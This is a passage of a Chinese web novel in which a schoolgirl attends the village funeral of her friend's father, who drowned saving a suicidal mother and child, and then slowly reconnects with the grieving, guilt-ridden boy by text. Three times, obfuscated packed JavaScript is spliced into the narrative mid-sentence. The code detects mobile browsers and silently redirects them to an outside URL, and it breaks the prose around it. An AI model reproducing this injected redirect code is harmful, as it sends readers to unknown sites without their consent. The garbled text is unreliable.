宋西宝还反应了一下，明白过来后不敢置信地拽着老妈的手停下来问：“程书逸他爸走了？什么意思？是死了吗？” 谭淑媛强忍着泪点头。 宋西宝整个人呆若木鸡地站在那儿，大脑空白了一瞬。 请完假，宋西宝被老妈拉着出了学校，她们在校门口等了一会儿，宋西宝茫然地问：“妈，我们在这等什么？” 谭淑媛说：“等你爸爸。他去车站叫了辆野的车，顺路就过来接我们。” 宋西宝又问：“接我们去哪儿？去海市吗？” 谭淑媛摇头，说：“不去海市，去你方舟叔叔的老家青河，你晓琴阿姨已经带着他的骨灰回老家了，今天晚上守夜，明天一早就下葬。” 宋西宝哦了一声，心里的茫然越来越大。 谭淑媛转过头给她紧了紧衣领，问：“冷不冷，冷就把妈妈围巾围上……” 她说着就要去取脖子上的丝巾，宋西宝注意到她的手在抖，忙握住了她，有点害怕地喊了声：“妈妈……” “没事。”谭淑媛反过来握住她手使劲搓了搓，又忍不住把她抱紧了，安抚地摸了摸她的头。 “妈妈，方舟叔叔怎么死的？”宋西宝问。 谭淑媛松开她笑了一下，但那笑容瞧着却异常苦涩。 她像是想忍下去那一声哽咽，但忍了又忍，还是没忍住，一下哭出声来，又忙捂住嘴，双眼含泪地看着女儿。 宋西宝一看老妈这样，也忍不住红了眼，瘪着嘴拉她手。 谭淑媛深吸口气，擦干眼泪，缓了一会儿后，才沉沉道：“你方舟叔叔是因为救人死的，他太傻了，太傻了啊……” …… 四天前的下午，刚给学生上完课的程方舟才出教室便接到了儿子班主任林立打来的电话。 电话里，林立语气严肃地说程书逸在学校和同学打架了，事态严重，急需家长前来学校协商处理。 林立还说他是先打了程书逸妈妈的电话，但一直没人接，所以只好又打电话给他，请他务必赶紧来学校一趟。 程方舟一听，也没多耽搁，挂了电话就打车往儿子学校去了。 就是在去学校的路上，程方舟意外撞见了那对跳河轻生的母女。 当时他还在车上，瞧见那女人抱着孩子毅然决然地从桥上跳下去后，他赶忙让司机停了车，然后下车冲到桥边脱了鞋子外套，摸出手机往旁边一扔就从桥上跳了下去。 司机吓坏了，桥上的车一辆接一辆停下来，很快，桥边就聚起了不少人。 程方舟想救人，但被救的却不肯配合——他在施救过程中多次被女人击打面部，又被按头呛水，桥上的人看这情况，纷纷嚷叫起来，又过了会儿，河里三个，渐渐地都没了动静，这时，尖锐刺耳的警笛声才由远及近地传了过来…… 车往青河开的路上，宋西宝扒着窗户努力想要看清车窗外的景色。 她看见高楼渐渐消失，取而代之的是连绵起伏的山脉，以及看上去似乎更高、更广阔的天空。 她觉得心里好闷。 宋西宝头抵着车窗，手指抠着窗玻璃旁的胶条，忽然，一只灰尘粒大小的虫子不知道从哪儿冒了出来，它施施然从她的手指旁经过，宋西宝想都没想，手指一抬一落，悄无声息地摁死了小虫子。 她愣神地看着自己的手，还在发呆，忽然被妈妈轻轻拽了一下—— “到了。”妈妈说。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949269|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宋西宝用拇指搓掉虫子尸体，跟着大人下了车，抬头先看见一座三层楼高的旧楼房。 此刻周围闹哄哄地，全是赶来吃席的人。 这种场合下，宋西宝更无所适从了。 爸妈带着她进了院，乡下的房子一楼就是客厅，此时客厅处正设了灵堂，停了棺材，程方舟的黑白遗像就摆放在棺材前面。 宋西宝盯着那副遗像看了好一会儿才反应过来那是更年轻时候的方舟叔叔。 那时候的他甚至都还没戴眼镜，风华正茂的年纪，哪怕是黑白照片都挡不住他眼里的意气风发。 妈妈忽然松开了她的手，宋西宝扭头追看过去，才看见跪在一旁披麻戴孝的晓琴阿姨和程书逸。 天色渐晚，为防夜间落雨，程家门前的水泥地上开始搭起了篷布。 左邻右舍都赶来帮忙了，抬桌子的，擦板凳的，洗碗择菜的，再加上旁边负责吹拉弹唱奏丧乐的几个老头儿，此景此景，热闹得堪称诡异。 上完香，古晓琴让程书逸领着宋西宝去二楼。 宋西宝看了爸妈一眼，老妈给她递了个眼神，让她跟着程书逸去，宋西宝就茫然地跟在程书逸屁股后边上楼了。 往楼上走的时候，宋西宝在后边悄悄打量他—— 几年没见，他长高了好多，从背影看她几乎认不出来他了，就像是陌生人，但看正脸，又觉得熟悉。 他那张脸，她好像刚在什么地方看到过…… 宋西宝抓耳挠腮地想了半天，忽然反应过来——不就是楼下遗像上的方舟叔叔嘛！ 活脱脱地像。 只是程书逸眼里没有他父亲年轻时眼里的那股少年意气。 刚才在楼下，宋西宝一眼瞧过去，对上他的眼，只觉得他那双眼睛黑沉沉地，又冷又吓人。 她刚还想问他呢，他是对她有什么意见吗？干嘛瞪她？ 程书逸领着她上了二楼，过程中只字未言。 二楼的客厅里坐了个暮气沉沉的老人，正在吧嗒吧嗒抽烟袋，听见他们上楼来也没有转头看一眼。 宋西宝正想问这是谁，就听程书逸叫了声爷爷，然后说：“我妈刚才在楼下找你，她说你让请的那个阴阳先生去年就死了，她让堂叔另外找了人来念经。” 程书逸说完，也不管他爷爷有什么反应，转身就往斜对面屋里走。 宋西宝听得云里雾里的，只感觉他说话时一股木然的死气沉沉，心里悚然，忙追了上去。 程书逸进屋后也还是不跟她说话，只自顾自地走到书桌前坐下，拿起桌上的刻刀和刻了一半的木头，低头刻了起来。 宋西宝四下环顾，这屋里连个可以坐的板凳都没找到。 这屋很小，只有一张单人床，一张书桌加一组书柜，连个衣柜都没有。 书柜里塞满了书，旁边书桌上也是，小山一样堆满了各类书籍报纸，桌角处的台灯灯罩上落了一层厚厚的灰，看起来像是多年未曾有人使用过了。 她不想去客厅跟那个看起来就很吓人的程爷爷坐在一起，权衡一番后，她选择坐在了床上。 宋西宝百无聊赖地坐着，耳边回荡着哀婉的丧乐和时不时冒出来吓人一跳的锣鼓唢呐声，她实在没什么事干，只好盯着这屋里的另一个活人看，看着看着，脑子里就想起从前那些事来。 宋西宝其实也很迷惑，不知道她跟程书逸做朋友怎么会做成这个样子？ 大约三四年前，那会儿他们还有联系，联系得还挺勤——那个时候，她每周最少要给他打一通电话。 他们是从什么时候开始变冷淡的呢？宋西宝仔仔细细地回想了一下，好像就是小学五年级学校组织他们春游那次—— 那次春游，她玩得很尽兴，回来后，她跟程书逸打电话说起这次春游发生的好玩的事，本来都好好的，但是他突然就不高兴了，跟她吵架，电话说挂就挂，她再打过去他也不接。 好像就是从那次之后，他们之间慢慢地联系就变少了，到后来干脆就没联系了。 她朋友多，离得远了之后，实在是顾不上他，中间可能也兴起过念头想找他聊聊，但不知怎么的，最后都不了了之了。 打死她都没想到，再见会是在这样的情况下。 21. 葬礼2 宋西宝平常虽然能说会道，但这种时候，她还真不知道该怎么安慰他，并且她也看出来了程书逸对她的疏远，所以她还能说什么呢？只能是无言以对，尴尬静坐。 但像这样干坐她又坐不住——他好歹还能刻东西玩，她能玩啥？啥都没有，真是愁死人了！ 宋西宝坐了一会儿，实在是无聊，索性站起来去瞧旁边书柜里的书。 季苒要是看到这一幕，估计得欣慰得掉眼泪，宋西宝在心里这么想着，忽然透过书柜玻璃门的反射瞧见程书逸在偷看她—— 宋西宝唰地扭头对上他的目光，还以为这是破冰的信号，心头一喜，正准备主动跟他说点什么，就听程书逸冷冰冰开口道：“别碰书柜里的书。” 宋西宝：“……” 好吧，她想多了。 这货压根就没想跟她破冰，听他嫌弃她那语气，估计巴不得她离他八丈远。 宋西宝也不知道自己在理亏个什么，哦了一声就退开了。 程书逸收回视线，又低下头去继续刻起了他的木头。 他刻得很用力，每一刀都像是要跟手里这块木头拼命一样，但他脸上依旧是面无表情的，就像是心里面已经烧烂了，但五官麻痹，叫人全然看不出他到底痛成什么样了？ 宋西宝看着这样的程书逸，心里有点难受，她没忍住问了一句：“程书逸，你没事吧？” 问完她就觉得自己说了句废话。 果然，程书逸头都没抬一下。 宋西宝从来没觉得跟人打交道是这么困难的一件事，她有些焦躁地踢了脚地，忽然问：“你是在生我的气吗？” 这好像不是一句废话了，因为程书逸抬头看她了。 重逢之后，这是宋西宝第一次近距离仔细看他，她忽然发现他眼睛的瞳孔颜色很浅，还发现他左边眼睛下面有一颗极小极浅的泪痣，可能稍微离远点就看不见了。 以前她从未观察到这些。 “不让你碰书柜是因为我爸生前不喜欢别人乱动他东西，不是因为我生你气，咱俩都不熟，哪儿谈得上谁生谁的气啊？” 他像是突然醒了，“活泼”地说了大段话，甚至说到最后，嘴角还隐隐带了点笑意，但宋西宝瞧着却忍不住打了个寒颤。 时间太险恶，獠牙一张，将她印象中率真可爱的小男孩囫囵个地吞下肚，再吐出来，还给她却是一个尖酸刻薄的少年郎，宋西宝看着他，一时说不上话来。 程书逸刻薄完她，自己也没好到哪儿去，嘴角的那点笑很快就凝结成一柄自我厌弃的利剑，整个地插进他心里，将他捅了个对穿。 双方怔怔无言几秒后，程书逸表情恢复了木然，更专注地刻起了木头，而宋西宝也坐回了床边，两手撑着床沿，低着头，不知道在想些什么。 晚上开席，宋西宝食不知味地吃了几筷子菜就放下了，谭淑媛看她脸色不好，还以为她是病没好利索，跟他们奔波一天累着了，担心地摸了摸她额头。 宋西宝拿掉老妈的手，笑容勉强地扯了扯嘴角，轻声问：“妈妈，我们什么时候回家啊？” “累啦？”谭淑媛摸摸她头，小声说，“明天上午吧，等你方舟叔叔下了葬，咱们就回。” 意思就是今天晚上还要在这儿歇一晚。 宋西宝心里更闷了，又问：“那我们晚上住哪儿？” 谭淑媛：“就住你晓琴阿姨这儿，晚上妈妈给你收拾好你就去睡。” “那你呢？”宋西宝忙问。 谭淑媛说：“你晓琴阿姨晚上要守夜，妈妈陪陪她，你爸晚上应该也要守一会儿，然后明天一早他要跟着去抬棺，那会儿太早了，你睡你的，我们忙完回来再叫你。” 宋西宝点点头，跟着转头看了眼灵堂那边的程书逸。 晚上，程家的亲属在院子里跪了一片，阴阳先生站在灵堂旁念经，宋西宝趴在二楼窗台上听，叽哩哇啦地一句也没听懂。 只是渐渐地，空气中忽然传来一点隐约的啜泣。 她探头往楼下看——黑压压的十几个人跪在下面，有人在吸鼻子，有人在清嗓子，她没看见程书逸，大约是跪在最前面吧。 初中语文课他们学陶渊明的诗，课上语文老师老刘给他们拓展这位诗人的作品时，曾提到过陶渊明写的几首挽歌辞，宋西宝记性不好，多的不记得了，就记得“亲戚或余悲，他人亦已歌。死去何所道，托体同山阿。”这么两句。 这两句诗的意思是说，人死以后，亲戚们或许还悲伤，但旁的人却已经忘了死去的人，开始欢快地歌唱了。人死之后还有什么话好说呢？不过寄托此身融于山陵罢了。 宋西宝之所以会这么清楚地记得这两句诗，是因为当初老刘在课上讲这几句诗时忽然讲着讲着就哭了，同学们都倍感震惊，课后语文课代表去问，才知道老刘哭是因为他的老母亲前些日子去世了。 她年纪轻，经历得少，对于死亡，实在是说不出什么太深的感悟，当初听老刘讲诗她也没有什么特别的感受，只顾着震惊了，但此时此刻，听着耳边时断时续的啜泣声，望着黑夜下寂静的远山，她却突然体会到了一点诗意，以及一点悲凉的伤感。 方舟叔叔是她从小就认识的人，虽然多年不见，生活上交集不多，但这是她每年过年都要打电话问候的人，以后他再也接不到她的电话了。 当天晚上，宋西宝做了个噩梦。 她梦见自己睡在棺材里，爸妈早上叫她起床上学，就来敲她的棺材，她挣扎着刚要起身，结果程书逸突然从棺材旁冒了出来，手里还拿着一张黄符和一柄桃木剑，看见她后狞笑了一声，接着便“啪”一声把符贴在她额头上，顺便还挥剑喊了一声：“妖孽！不许跑！” …… 宋西宝大汗淋漓地惊醒过来，发现窗外天蒙蒙亮了，而床上还是只有她一个人，她估计爸妈应该是一整夜都没上来过。 噩梦的后遗症就是头疼，她仿佛又回到了前些日子高烧不退的时候，脑子沉重地像灌了铅，迷迷糊糊地就又睡了过去，等她再醒来，这次天已经大亮了。 楼下安静了很多，丧乐也停了。 宋西宝掀开被子下床到窗边看，迎着清晨的冷空气打了一个大大的喷嚏—— “阿嚏！” 用过午饭后，一些外地赶来的亲戚朋友便起身准备告辞了，谭淑媛握着古晓琴的手说，要不自己留下来陪陪她，古晓琴摇摇头拒绝了。 邻居们帮忙叫的车很快就来了，谭淑媛站在楼下喊宋西宝走了，楼上，宋西宝一边飞快写字一边扯着嗓子答应了一声，然后合上笔，四下一看，匆忙将纸条压在了程书逸的刻刀下面。 她蹬蹬跑下楼，到楼梯口时正好跟要上楼的程书逸擦肩而过，宋西宝刹住脚转过身喊他：“程书逸——”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14953012|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 少年脚步停顿，但没转过身。 宋西宝着急道：“我先走了，回头等放寒假，我给你打电话吧？你来找我玩吗？” 程书逸半天没有回答。 外面，老妈一声声催她，宋西宝急得原地剁了两下脚，催他：“你说话啊！” 程书逸转过头看她，眼神讥嘲道：“用不着你可怜我。” 宋西宝：“……” 她跟他真是说不到一块去！ “算了，问你也白问，你到时候等我电话啊！”她最后说，匆匆撂下这句便跑了。 她背影飞快消失在转角，程书逸手抓着栏杆原地站着发了会儿呆，起伏的心绪又逐渐回归了死寂。 他行尸走肉一般上了楼，进屋，正准备躺下，忽然余光里瞧见桌上的刻刀下压了张纸条。 程书逸不用猜也知道写这纸条的人是谁。 他心里一面厌倦地想着不想看，一面又忍不住一点点挪去了书桌前。 他拿走刻刀，打开纸条，只见纸条上龙飞凤舞地写着—— 【程书逸，别太难过，不是你的错！还有我知道你在生我的气，对不起！！】 这行字下面还另起了两行，分别写着她的电话号码和扣扣号，外加三个大字—— 【联系我！！！】 程书逸拿着这张纸条看了很久，久到后来几乎是在对着这张纸条发呆。 从父亲去世那天起一直到今天，母亲跟他说过的话屈指可数，这自然是因为他们都没法面对这件事，所以只好沉浸在各自的麻木里偷生，但他其实心里明白，这同时也是因为母亲心里怨恨着他——若是那一日他没有跟同学打架，那么林老师就不会给父亲打电话，自然之后的事也就都不会发生，父亲也不会死。 她怎么敢说他没有错？ 他明明大错特错。 他明明……犯了死罪。 一滴泪啪嗒掉在纸条上，程书逸嘴唇颤抖，喉头哽咽却哭不出声，他举目四顾，只觉得茫茫天地，走投无路。 葬礼结束后，程书逸随母亲一起回到了海市。 到家的第二天，父亲学校的领导、市里的领导、警察、连带几位记者一起找上门来给他家送了锦旗和见义勇为的奖金。 当时敲门声一响，胆小如鼠的饼干立刻嗖一下蹿回了卧室。 程书逸听他们说明目的后本想把人赶出去，但他还没来得及行动，古晓琴便从那些人手里接过了锦旗。 领导抓着她的手说：“古女士你放心，英雄的后代我们一定会多加照顾！” 领导说这话时，顺便示意她抬头看向镜头。 闪光灯咔咔闪了几下，古晓琴别过脸垂下眼睫应付着向众人道谢。 领导又招呼程书逸上前来跟着一起拍几张照片，古晓琴伸手拦下他们，说：“孩子还小，就不上报纸了，你们要拍的话就拍我吧。” 领导脸色微变，旁边一位女记者忙上前纠正起了领导的站姿，顺便岔开了话题。 古晓琴悄悄摆手示意程书逸先回屋，程书逸看着这些人，心中一片悲凉，面如死灰地转身进了卧室。 这一年秋天，十四岁的程书逸经历了生命中的至暗时刻，永远地失去了父亲。 丧父的悲痛让他亲手抹杀了自己天真无邪的一面，从此之后，他冷眼看着这个世界，只觉得到处是青面獠牙的鬼…… 22. 心结 程书逸重新回到学校后，班上的老师和同学都对他表现出了极大的关心，班主任林立更是把他单独叫到办公室，好好劝慰了一番。 劝慰完，林立才告诉他：八班的黄昊和他们班的章云翔都已经转学走了。 黄昊就是程方舟出事那天跟程书逸动手打架的学生，而章云翔则是程书逸的同班同学。 黄昊和程书逸，一个在八班，一个在六班，两人原是没什么交集的，之所以会结下梁子，就是因为章云翔—— 黄昊经常带人私下里欺负章云翔，章云翔性格懦弱，不敢反抗，每次都只有抱头挨揍的份。 程书逸撞见过几次章云翔被打，本来不想管闲事，但有一次实在是看不过眼，便出手帮了章云翔一次，结果就惹上了黄昊这么个麻烦。 他俩那天打架也是因为课间黄昊故意找茬，非说程书逸上完厕所洗手的时候故意把水溅他脸上了，一言不合就动起手来。 程书逸不是章云翔，自然要极力反抗。 两人在男厕所扭打成一团，旁边看热闹的学生把老师们叫来的时候，黄昊还揪着他的衣领十分挑衅地对他说了一句：“我看你怎么评今年的三好生！” 当时他们学校有个中考政策是连续三年被评为市三好生的学生中考可获得十分加分。 这个名额每年学校只有一个，程书逸初一初二连拿了两年，只差这最后一年，中考的十分加分就到手了。 程书逸这才知道黄昊故意跟他闹这么一出是为什么。 老实说，以他的成绩，他根本就不在乎这十分加分，但他实在是恶心黄昊的小人行径，于是就算看见林立已经扒开看热闹的学生过来了，他还是没忍住给了黄昊一拳，顺便骂了一句蠢货。 事后他俩被带到主任办公室谈话挨训，后又被各自的班主任领走分开询问打架的内情。 程书逸不像章云翔，好好地长了张嘴却不会说话，林立一问，他就竹筒倒豆子似的和盘托出了，顺便还献上了自己保留的证据——某次黄昊狂揍章云翔的现场照片。 照片是那次他决定出手帮助章云翔时拍摄的，十几张，最后还有一段视频，在场动手的七八个人，全都有正脸。 林立拿到东西顿时对他消气不少，但是碍于主任的要求还是说要打电话通知他家长。 程书逸当时也没多想，甚至还在林立给他妈妈连着打了两遍电话都没打通时，善解人意地同他解释说：“这个时间我妈估计正在给学生上舞蹈课，要不老师你给我爸打吧。” 没人知道程书逸有多么懊悔这句话……如果可以，他多想一命抵一命，拿自己的性命去换回父亲的性命。 可惜他不能这么做，他不能抛下母亲，自私地以死亡来逃避痛苦和悔恨，他得活着，他得替父亲照顾好母亲，照顾好这个家。 从教师办公室出来后，程书逸突然不想回教室去了，他不想应付那些同情的目光，也不想应付那些苍白的安慰，即便他知道老师和同学们都是好心，但这些日子，他听安慰的话实在听得够多也够烦了。 正是上课时间，学校里安静得就剩下读书声了，程书逸闷头往操场走，路上兜里手机嗡嗡振了两下他也没管。 到了操场，他把校服一脱站上跑道，二话不说就冲了出去。 他不管不顾、毫无章法地闷头快跑了十圈，到最后一圈时，嗓子里隐隐冲上一股血腥味，喉咙口火辣辣地干疼，胸口、肋下、小腿肚子以及大腿根全都扯着痛。 “呼——” “呼——” “呼——” 程书逸闷头冲过终点后，趔趄着走到旁边草坪上仰面躺下了。 他大口大口喘着气，感觉胸口痛得像是要裂开了一样。 今天是个艳阳天，天空晴朗湛蓝，但他却感受不到丝毫温度，整个人仿佛置身在暴雨之中。 程书逸抬起胳膊挡着眼，待呼吸渐趋平稳后，眼角悄然流下了两行泪。 爸爸走了，今后的日子，该怎么过呢？ 他心中又痛又茫然，面对生活，一点信心也没有。 程书逸就这么在草地上躺了许久，直到下课铃响，他才起身捡起衣服朝外走。 走着走着，兜里的手机忽然又嗡嗡振了两下。 程书逸停下脚摸出手机看，发现是一个陌生号码发来的短信，再一细看，又觉得这串号码有些眼熟，稍微一想，记起来了—— 这是宋西宝的电话号码。 程书逸拿着手机半天没进行下一步动作，他在犹豫，不知道要不要点开短信，如果他置之不理，那么他跟宋西宝很有可能以后就桥归桥，路归路了。 而如果他点开看了……他没把握——他不想再被她伤一次了。 心理斗争了一番后，程书逸果断把手机关机并揣回了兜里，之后一整天上课他都没再想过这件事。 但白天可以不想，晚上失眠躺在床上，他却不由得对着手机发起了呆。 父亲走后，他没睡过一个好觉，首先是根本睡不着，其次就算是睡着了，也是噩梦连篇，有时候他甚至会经历鬼压床——明明意识清醒了，身体却动弹不得，过程中还伴随着各种可怕的幻听幻视…… 以至于他现在对夜晚的到来产生了一种恐慌感，每天一到黄昏时分就开始紧张心悸，浑身冒冷汗。 “大饼，你说我要不要看一眼她发了什么？”程书逸问，结果等了半天也没个声音。 他微抬起上半身看了眼床尾，发现某只肥猫摊着肚皮已经睡得开始打鼾了！ 程书逸泄气地倒回去望着天花板重新发起了呆，过了会儿，他又忽然来了精神，一跟头从床上坐起来，心里自言自语道：我就看一眼。 然后拿起手机开机点开了短信—— 【程书逸，我是西宝，你一直没联系我，我就问晓琴阿姨要了你的电话，这是我的电话，你记得存一下哦！】 下一条： 【你在上课吗？我们今天开家长会，我期中考得超级烂，我妈要被我气死了哈哈哈。】 然后，也许是看他一直没回复，过了两个半小时，她又发了一条： 【你怎么不说话呀？还在生我的气吗？你以前明明说过，你不会真的生我的气的。】 程书逸看完短信，心情有点复杂。 他八岁认识宋西宝，和她一起同窗过两年，虽然分开至今四年多没见了，但他从未忘记过她。 三年前她逐渐疏于联系他，他心里自然生气，也记恨她，但以他的性格，若是真的对一个人完全不在乎，又何谈记恨呢？ 程书逸想着想着就开始胸闷了。 他重新躺了下去，又动静很大地翻了个身面对着墙，就好像在生自己的闷气一样。 凭什么她想找他就找他，她不想找就可以完全把他甩一边不管？ 程书逸忍不住自问——难道我很差吗？我是哪里比不上她身边那些人？ 程书逸跟宋西宝不一样，他从小不善交际，不像她，到哪儿都不认生，随便跟谁都能瞎聊两句，继而发展成朋友。 在她来梧桐苑以前，他跟小区里的孩子们虽然认识，但从不是朋友。 是她出现以后，才给了他一个契机，去真正地认识大家，并和大家成为朋友。 他俩一起同窗那两年，虽然他给她收拾过不少烂摊子，平时可能在大人眼里看起来好像也是他照顾她更多，但程书逸心知肚明，其实一直都是宋西宝在照顾他。 是她，总是挡在他身前替他解决人际关系问题。 也是她，总是在他觉得有口难言的时候替他说出他的心里话，维护他。 她做人做事的风格早就在无形之中影响了他，就比如那次他决定出手帮助章云翔之前，他也不知道怎么地，下意识就在脑子里提了一个问—— 如果是宋西宝遇见了这种事她会怎么做？ 答案很明显，她肯定早就冲上去了——善良正义的宋女侠眼里可见不了这种恃强凌弱的事情，早大喝一声，跳出去打抱不平了。 当她的朋友，其实是件很幸福的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这些日子以来，他们相处得就像陌生人一样，非必要不说话。 早上程书逸总是踩着点才出卧室，然后急匆匆洗漱收拾完就要走，而古晓琴往往也只是轻轻嗯一声，默许他的离开。 “你最近是不是都没睡好？”古晓琴抬头看他。 程书逸抬眼之后又飞快收回目光，胡乱嗯了一声，说：“还行，能睡着。” 古晓琴看着他，眼眶微微发热，数次欲言又止，不敢跟他说自己连续好几晚都听见他在房间里哭叫。 她起身走到茶几上拿起一个小药瓶塞给他道：“我最近睡眠也不好，找医生看了一下，开了点药，这个药我问过了，你小孩子也能吃，你要是觉得晚上入睡困难或者睡不踏实，你就睡前按说明吃一点，看看有没有效果？” 古晓琴说完这些，忽然抬手抱住了他——儿子已经长得比她还要高了。 “好久没听你叫过妈妈了，儿子。”古晓琴松开他，摸摸他的脸，眼中泫然欲泣。 程书逸最近时常流泪，一点点情绪上的波动就能刺激到他的泪腺，听到母亲这么说，他眼泪当时就下来了，哽咽地喊了声妈。 “诶……乖，没事的，还有妈妈呢。”古晓琴一边流泪，一边捧着他的脸给他擦眼泪。 “你爸爸是个心存希望的人，因为心存希望，所以他才会跳下去救人。我理解你爸爸，我只是接受不了……”古晓琴说，“妈妈不是怨恨你，儿子，我是怨恨你爸爸……他就这么把我们抛下了。” 连日来的伤心痛苦委屈难过一股脑地挤上心头，程书逸哭得脸都皱了，却还强忍着不肯哭出声。 饼干看他哭了，急得在他腿边转来转去地甩尾巴，可惜这会儿轮到它的主人没工夫搭理它了。 母子俩抱头痛哭了好一会儿，最后古晓琴强行抬起他的头为他擦干眼泪说：“好了。不哭了。你爸爸虽然走了，但咱们的日子还长呢！咱们应该继承你爸爸的精神，做个心存希望的人，对不对？” 程书逸一边哭一边胡乱点头，鼻子、眼角全都哭红了。 古晓琴破涕为笑，胡乱揉了一把他的头发，说：“去吧，去上学，把三明治拿上，路上记得吃。” “嗯。妈……” “嗯？” “对不起……” “傻孩子，一家人哪里有什么对不起？是不是饼干？” “喵！” 23. 再见 程书逸一晚上没睡好，本来头就疼，结果大清早起来还痛哭流涕了一场，折腾得他出门时只感觉整个人都晕乎乎的，太阳穴一跳一跳得疼。 他家离公交站台不远，走路过去也就三四分钟。 时已入冬，清晨的凉风早已透着瘆人的寒意，程书逸站在公交站台上等车，冷不丁被风一吹，空荡荡的后脖颈上立马起了一层鸡皮疙瘩。 他把校服拉链一拉到顶，低着头，半张脸藏在衣领下缩着，双手揣兜，偏头看着公交车来的方向。 也没等多久，公交车就来了。 这趟车很空，加上他不过七八个人，可能是因为这会儿时间已经有点晚了，早上赶着上学那波人已经坐前几趟车走了。 他刷了学生卡，走到车尾处寻了个位置坐下，刚掏出耳机，手机嗡嗡振了两下，一看，又是宋西宝发来的短信，还是条带照片的彩信—— 【早上好啊小橙子，你看这是什么！噔噔！】 “橙子”这个外号是读小学的时候宋西宝某天胡给他取的，小时候听着没觉得有什么，现在听却只觉得说不出的尴尬——他一个男生，叫什么小橙子，宋西宝有病吧！ 程书逸皱着眉头身体往下窝了窝，他下半张脸还埋在衣领里，仿佛是十分怕冷，但又不肯关窗，风把他额前的刘海吹得乱糟糟的。 前排的一个女孩佯装不经意地扭头看了他一眼，程书逸抬眼看去，女孩立马扭了回去。 程书逸收回目光，把手机拿近看了一眼，眼神微变。 他一眼就认出了照片上的包子是他小时候最喜欢吃的“梅三嬢”家的豆沙包，因为包身上有三片红梅印记。 这会儿都快七点半了，如果说她学校也有早自习的话，这会儿早自习应该都开始了，她这是还没去学校？迟到了？ 程书逸动手打了两行字，又匆匆删掉，心里吐槽自己：你干嘛上赶着关心她有没有迟到？管你屁事！ 吐槽完，程书逸狠心退出了短信界面，正准备戴上耳机眯一会儿，消息又来了—— 【你明明说过不会真的生我的气的！小气鬼！你说话不算话！】 程书逸拿着手机看，眼前仿佛出现了宋西宝双手叉腰，一脸委屈地对着他发脾气的模样。 明明是她冷落疏远他在先，结果她反倒还恶人先告状指责起他了？！ 程书逸气闷，连着换了好几个姿势都窝得不舒服，最后索性坐直了，一个键一个键地敲字给她回—— 【到底是谁说话不算话？】 短信发出去后他浑身不自在，手机一会儿关一会儿开，心跳得有些快，莫名紧张。 但他等了半天，对面那人却没再发消息过来。 什么意思？ 让他说话她又不说了？ 玩呢？ 程书逸烦躁地把手机往兜里一揣，重新窝回去闭眼听起了歌。 他家到学校公交车差不多要半个小时左右，他今天出门迟了，到校的时候早自习都快上完了，门卫登记了他的信息，又看了他的学生证，然后才放他进去。 快到教室的时候，早自习下课铃也响了，兜里的手机终于有了动静，程书逸爬楼的脚步一顿，气闷地摸出手机看—— 【太惨了我！刚给你发短信差点被老班逮住，还好我机智藏得够快！不过还是被罚站了T^T，那会儿我一直在教室外面站着，刚下课回教室才看到你消息，你终于回我消息了！！】 程书逸还在打字，她的下一条消息就又进来了—— 【三嬢嬢家的豆沙包没变味！还是那么好吃！等你下次回来我给你买！】 程书逸慢吞吞打字回：不需…… “要”字还没打出去，她又紧着追加了一条消息进来—— 【千错万错都是我的错，好哥哥你大人有大量，别跟我计较了，消消气吧，好不好？】 程书逸看着那句“好哥哥”没忍住红了耳根，心里就像被什么痒痒挠轻轻勾了一下，慌慌的，又有些麻酥酥的。 宋西宝从小争强好胜喜欢当老大，一次“哥哥”也没叫过他，反而总想着让他当她小弟，这还是她第一次叫他哥哥。 程书逸不想因为一声“哥哥”就被收买，但确实也很难再对她生气，于是只好跳过这个话题，打字回了句： 【上课不要玩手机。】 宋西宝回道： 【遵命！】 【那我下课再给你发？可以不？】 程书逸：【随便。】 就这样，某人嘴上说着随便，但实际上每节课下课都会偷偷拿出手机来看她有没有给自己发消息。 宋西宝是个话痨，小时候是，长大了更甚！ 这点从她每天给他发的那些废话短信就能看出来。 程书逸并不是每条消息都回她，因为他要学习，还要筹备参加各种理科联赛，所以每天能玩的时间其实是很有限的。 他所就读的初中也比一般的初中学校压力更大。 作为全海市重本升学率最高的海市二中的附属初中部，要想在这样的学校里常年保持年级第一，可不是纯靠一句“学习有天赋”就能做到的，除了天赋，他还需要付出大量的努力。 程书逸原本对他们这样远距离的联系并不抱什么期望，毕竟前车之鉴历历在目，而她又是个没耐心的人，他想着，说不定这段复燃的友谊很快就烧干净了。 可结果，他们这一联系就联系到了初中毕业。 中考结束后的第四天，程书逸起了个大早到学校领毕业证还有毕业照。 盛夏，阳光亮得刺眼，程书逸单肩背着包走在学校里，边走边用手机录像，顺便配音道：“这是一食堂，饭贼难吃！旁边这个是教师食堂，有小锅菜，还不错，林总开小灶带我去吃过几次……” 他说着话，忽然注意到斜后方站了个人，于是收回手机暂停录像，转身看了那人一眼。 “班长？”程书逸往前走了几步，“你找我？” 站在程书逸身前的是六班的班长杨雅珺，女孩身高比较矮，站在身高快逼近一米八的程书逸面前更显得娇小。 不知是天气太热还是因为什么，她脸色泛着一股诡异的红，说话时眼神也左闪右躲地不敢直视他。 “你也是来取毕业证和照片的吗？”杨雅珺问。 程书逸“嗯”了声，说：“我后面没时间来取了，刚好今天有空就过来了。” “哦哦。”杨雅珺迟钝地点着头，又问，“你假期是准备出去玩吗？” “不是。”程书逸说。 